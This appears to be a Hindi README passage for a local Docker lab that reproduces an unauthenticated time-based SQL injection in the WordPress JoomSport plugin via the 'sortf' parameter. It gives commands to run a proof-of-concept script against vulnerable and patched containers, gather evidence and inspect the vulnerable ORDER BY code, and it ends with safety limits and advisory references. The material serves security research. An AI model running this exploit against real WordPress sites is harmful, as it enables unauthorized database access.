दोनों सेवाओं के विरुद्ध PoC चलाएँ:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
अधिक राउंड के साथ PoC चलाएँ:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

साक्ष्य सहेजें:```bash mkdir -p evidence

python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt

docker compose ps
| tee evidence/docker-compose-ps.txt

docker compose logs vuln patched setup-vuln setup-patched \

evidence/docker-compose-logs.txt

root@kitploit:~
वर्डप्रेस के अंदर प्लगइन संस्करणों की जाँच करें:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

असुरक्षित स्रोत का निरीक्षण करें:```bash docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

root@kitploit:~
पैच किए गए स्रोत का निरीक्षण करें:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

SQL sink का निरीक्षण करें:```bash docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"

root@kitploit:~
## सफाई

कंटेनर और नेटवर्क को रोकें और हटाएं:```bash
docker compose down --remove-orphans

कंटेनर, नेटवर्क और वॉल्यूम हटाएं:```bash docker compose down -v --remove-orphans

root@kitploit:~
यदि साक्ष्य फ़ाइलें बनाई गई हों तो उन्हें हटाएँ:```bash
rm -rf evidence/

सुरक्षा सीमाएँ

यह प्रयोगशाला केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।

PoC या पेलोड को उन प्रणालियों पर न चलाएं जिनके मालिक आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।

इस प्रयोगशाला में वास्तविक क्रेडेंशियल, उत्पादन रहस्य, या बाहरी लक्ष्यों का उपयोग न करें।

PoC जानबूझकर स्थानीय Docker सेवाओं तक सीमित है जैसे:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
PoC में डेटाबेस dumping, credential theft, data modification, persistence, lateral movement, या external callbacks के लिए payloads शामिल नहीं हैं।

लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति का प्रदर्शन करना है:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version

संदर्भ

  • Wordfence सलाह: JoomSport <= 5.7.7 - sortf पैरामीटर के माध्यम से अप्रमाणित SQL इंजेक्शन https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter

  • Wordfence सलाह: JoomSport - खेलों के लिए: टीम और लीग, फ़ुटबॉल, हॉकी और अधिक <= 5.7.7 - अप्रमाणित SQL इंजेक्शन https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection

  • WPScan प्लगइन भेद्यता डेटाबेस: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/

  • WordPress.org प्लगइन: JoomSport - खेलों के लिए: टीम और लीग, फ़ुटबॉल, हॉकी और अधिक https://wordpress.org/plugins/joomsport-sports-league-results-management/

  • WordPress.org प्लगइन SVN https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/

  • WordPress.org प्लगइन SVN टैग https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/

  • OWASP वेब सुरक्षा परीक्षण गाइड: SQL इंजेक्शन के लिए परीक्षण https://owasp.org/www-project-web-security-testing-guide/

  • OWASP चीट शीट श्रृंखला: SQL इंजेक्शन रोकथाम https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

टूल डाउनलोड करें